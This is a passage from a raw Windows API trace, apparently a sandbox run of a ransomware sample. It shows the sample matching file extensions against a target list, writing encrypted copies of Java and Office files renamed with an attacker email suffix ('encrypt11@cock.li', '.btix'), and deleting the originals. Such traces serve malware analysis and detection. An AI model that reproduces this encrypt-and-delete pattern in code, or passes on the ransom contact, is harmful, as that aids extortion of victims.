(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0134.913] lstrlenW (lpString=".doc") returned 4 [0134.913] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0134.913] lstrlenW (lpString=".docx") returned 5 [0134.913] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0134.913] lstrlenW (lpString=".pdf") returned 4 [0134.913] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0134.913] lstrlenW (lpString=".xls") returned 4 [0134.913] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0134.913] lstrlenW (lpString=".xlsx") returned 5 [0134.913] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0134.913] lstrlenW (lpString=".ppt") returned 4 [0134.913] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0134.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0134.913] lstrlenW (lpString=".zip") returned 4 [0134.913] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0134.913] lstrlenW (lpString=".rar") returned 4 [0134.913] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0134.913] lstrlenW (lpString=".bz2") returned 4 [0134.913] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0134.913] lstrlenW (lpString=".7z") returned 3 [0134.914] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0134.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0134.914] lstrlenW (lpString=".dbf") returned 4 [0134.914] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0134.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0134.914] lstrlenW (lpString=".1cd") returned 4 [0134.914] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0134.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0134.914] lstrlenW (lpString=".jpg") returned 4 [0134.914] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0134.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0134.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0134.914] lstrlenW (lpString=".doc") returned 4 [0134.914] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0134.914] lstrlenW (lpString=".docx") returned 5 [0134.914] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0134.914] lstrlenW (lpString=".pdf") returned 4 [0134.914] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0134.914] lstrlenW (lpString=".xls") returned 4 [0134.914] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0134.914] lstrlenW (lpString=".xlsx") returned 5 [0134.914] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0134.914] lstrlenW (lpString=".ppt") returned 4 [0134.914] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0134.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0134.914] lstrlenW (lpString=".zip") returned 4 [0134.914] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0134.914] lstrlenW (lpString=".rar") returned 4 [0134.914] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0134.914] lstrlenW (lpString=".bz2") returned 4 [0134.914] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0134.914] lstrlenW (lpString=".7z") returned 3 [0134.914] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0134.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0134.914] lstrlenW (lpString=".dbf") returned 4 [0134.915] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0134.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0134.915] lstrlenW (lpString=".1cd") returned 4 [0134.915] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0134.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0134.915] lstrlenW (lpString=".jpg") returned 4 [0134.915] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0134.915] lstrcmpiW (lpString1=".0_144\\LICENSE", lpString2=".btix") returned -1 [0134.915] lstrlenW (lpString="LICENSE") returned 7 [0134.915] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0134.915] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=40) returned 1 [0134.915] CloseHandle (hObject=0x4c4) returned 1 [0134.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0134.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.916] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0134.916] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.916] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.916] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0134.916] GetLastError () returned 0x0 [0134.916] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x28, lpOverlapped=0x0) returned 1 [0134.917] WriteFile (in: hFile=0x54c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x30, lpOverlapped=0x0) returned 1 [0134.918] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.918] WriteFile (in: hFile=0x54c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xe2, lpOverlapped=0x0) returned 1 [0134.918] SetEndOfFile (hFile=0x54c) returned 1 [0134.919] CloseHandle (hObject=0x54c) returned 1 [0134.919] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.919] SetEndOfFile (hFile=0x4c4) returned 1 [0135.230] CloseHandle (hObject=0x4c4) returned 1 [0135.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0135.474] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1 [0135.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0135.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0135.475] lstrlenW (lpString=".doc") returned 4 [0135.475] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0135.475] lstrlenW (lpString=".docx") returned 5 [0135.475] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0135.475] lstrlenW (lpString=".pdf") returned 4 [0135.475] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0135.475] lstrlenW (lpString=".xls") returned 4 [0135.475] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0135.475] lstrlenW (lpString=".xlsx") returned 5 [0135.475] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0135.475] lstrlenW (lpString=".ppt") returned 4 [0135.475] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0135.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0135.475] lstrlenW (lpString=".zip") returned 4 [0135.475] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0135.475] lstrlenW (lpString=".rar") returned 4 [0135.475] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0135.475] lstrlenW (lpString=".bz2") returned 4 [0135.475] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0135.475] lstrlenW (lpString=".7z") returned 3 [0135.475] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0135.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0135.475] lstrlenW (lpString=".dbf") returned 4 [0135.476] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0135.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0135.476] lstrlenW (lpString=".1cd") returned 4 [0135.476] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0135.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0135.476] lstrlenW (lpString=".jpg") returned 4 [0135.476] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0135.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0135.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0135.476] lstrlenW (lpString=".doc") returned 4 [0135.476] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0135.476] lstrlenW (lpString=".docx") returned 5 [0135.476] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0135.476] lstrlenW (lpString=".pdf") returned 4 [0135.476] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0135.476] lstrlenW (lpString=".xls") returned 4 [0135.476] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0135.476] lstrlenW (lpString=".xlsx") returned 5 [0135.476] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0135.476] lstrlenW (lpString=".ppt") returned 4 [0135.476] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0135.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0135.476] lstrlenW (lpString=".zip") returned 4 [0135.476] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0135.477] lstrlenW (lpString=".rar") returned 4 [0135.477] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0135.477] lstrlenW (lpString=".bz2") returned 4 [0135.477] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0135.477] lstrlenW (lpString=".7z") returned 3 [0135.477] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0135.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0135.477] lstrlenW (lpString=".dbf") returned 4 [0135.477] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0135.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0135.477] lstrlenW (lpString=".1cd") returned 4 [0135.477] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0135.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0135.477] lstrlenW (lpString=".jpg") returned 4 [0135.477] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0135.477] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0135.477] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0135.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0135.697] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=6970) returned 1 [0135.697] CloseHandle (hObject=0x4c4) returned 1 [0135.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220 [0135.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0135.698] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.698] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0135.699] GetLastError () returned 0x0 [0135.699] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x1b3a, lpOverlapped=0x0) returned 1 [0135.714] WriteFile (in: hFile=0x4dc, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x1b40, lpOverlapped=0x0) returned 1 [0135.714] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.715] WriteFile (in: hFile=0x4dc, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0135.715] SetEndOfFile (hFile=0x4dc) returned 1 [0135.715] CloseHandle (hObject=0x4dc) returned 1 [0135.715] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.715] SetEndOfFile (hFile=0x4c4) returned 1 [0135.717] CloseHandle (hObject=0x4c4) returned 1 [0135.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0135.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0135.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0135.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0135.718] lstrlenW (lpString=".doc") returned 4 [0135.718] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.718] lstrlenW (lpString=".docx") returned 5 [0135.718] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.718] lstrlenW (lpString=".pdf") returned 4 [0135.718] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.718] lstrlenW (lpString=".xls") returned 4 [0135.718] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.719] lstrlenW (lpString=".xlsx") returned 5 [0135.719] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.719] lstrlenW (lpString=".ppt") returned 4 [0135.719] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0135.719] lstrlenW (lpString=".zip") returned 4 [0135.719] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.719] lstrlenW (lpString=".rar") returned 4 [0135.719] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.719] lstrlenW (lpString=".bz2") returned 4 [0135.719] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.719] lstrlenW (lpString=".7z") returned 3 [0135.719] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0135.719] lstrlenW (lpString=".dbf") returned 4 [0135.719] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0135.719] lstrlenW (lpString=".1cd") returned 4 [0135.719] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0135.719] lstrlenW (lpString=".jpg") returned 4 [0135.719] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0135.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0135.719] lstrlenW (lpString=".doc") returned 4 [0135.719] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.719] lstrlenW (lpString=".docx") returned 5 [0135.719] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.719] lstrlenW (lpString=".pdf") returned 4 [0135.719] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.719] lstrlenW (lpString=".xls") returned 4 [0135.720] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.720] lstrlenW (lpString=".xlsx") returned 5 [0135.720] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.720] lstrlenW (lpString=".ppt") returned 4 [0135.720] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0135.720] lstrlenW (lpString=".zip") returned 4 [0135.720] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.720] lstrlenW (lpString=".rar") returned 4 [0135.720] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.720] lstrlenW (lpString=".bz2") returned 4 [0135.720] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.720] lstrlenW (lpString=".7z") returned 3 [0135.720] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0135.720] lstrlenW (lpString=".dbf") returned 4 [0135.720] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0135.720] lstrlenW (lpString=".1cd") returned 4 [0135.720] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0135.720] lstrlenW (lpString=".jpg") returned 4 [0135.720] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.720] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0135.720] lstrlenW (lpString="FINCL_02.MID") returned 12 [0135.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0136.220] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=9318) returned 1 [0136.220] CloseHandle (hObject=0x4b4) returned 1 [0136.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220 [0136.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0136.220] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.220] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0136.221] GetLastError () returned 0x0 [0136.221] ReadFile (in: hFile=0x4b4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2466, lpOverlapped=0x0) returned 1 [0136.259] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2470, lpOverlapped=0x0) returned 1 [0136.259] ReadFile (in: hFile=0x4b4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.259] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.260] SetEndOfFile (hFile=0x508) returned 1 [0136.260] CloseHandle (hObject=0x508) returned 1 [0136.260] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.260] SetEndOfFile (hFile=0x4b4) returned 1 [0136.262] CloseHandle (hObject=0x4b4) returned 1 [0136.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0136.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0136.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0136.263] lstrlenW (lpString=".doc") returned 4 [0136.263] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.263] lstrlenW (lpString=".docx") returned 5 [0136.263] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0136.263] lstrlenW (lpString=".pdf") returned 4 [0136.263] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.263] lstrlenW (lpString=".xls") returned 4 [0136.263] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.263] lstrlenW (lpString=".xlsx") returned 5 [0136.263] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0136.263] lstrlenW (lpString=".ppt") returned 4 [0136.263] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0136.263] lstrlenW (lpString=".zip") returned 4 [0136.263] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.263] lstrlenW (lpString=".rar") returned 4 [0136.263] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.263] lstrlenW (lpString=".bz2") returned 4 [0136.263] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.263] lstrlenW (lpString=".7z") returned 3 [0136.263] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0136.263] lstrlenW (lpString=".dbf") returned 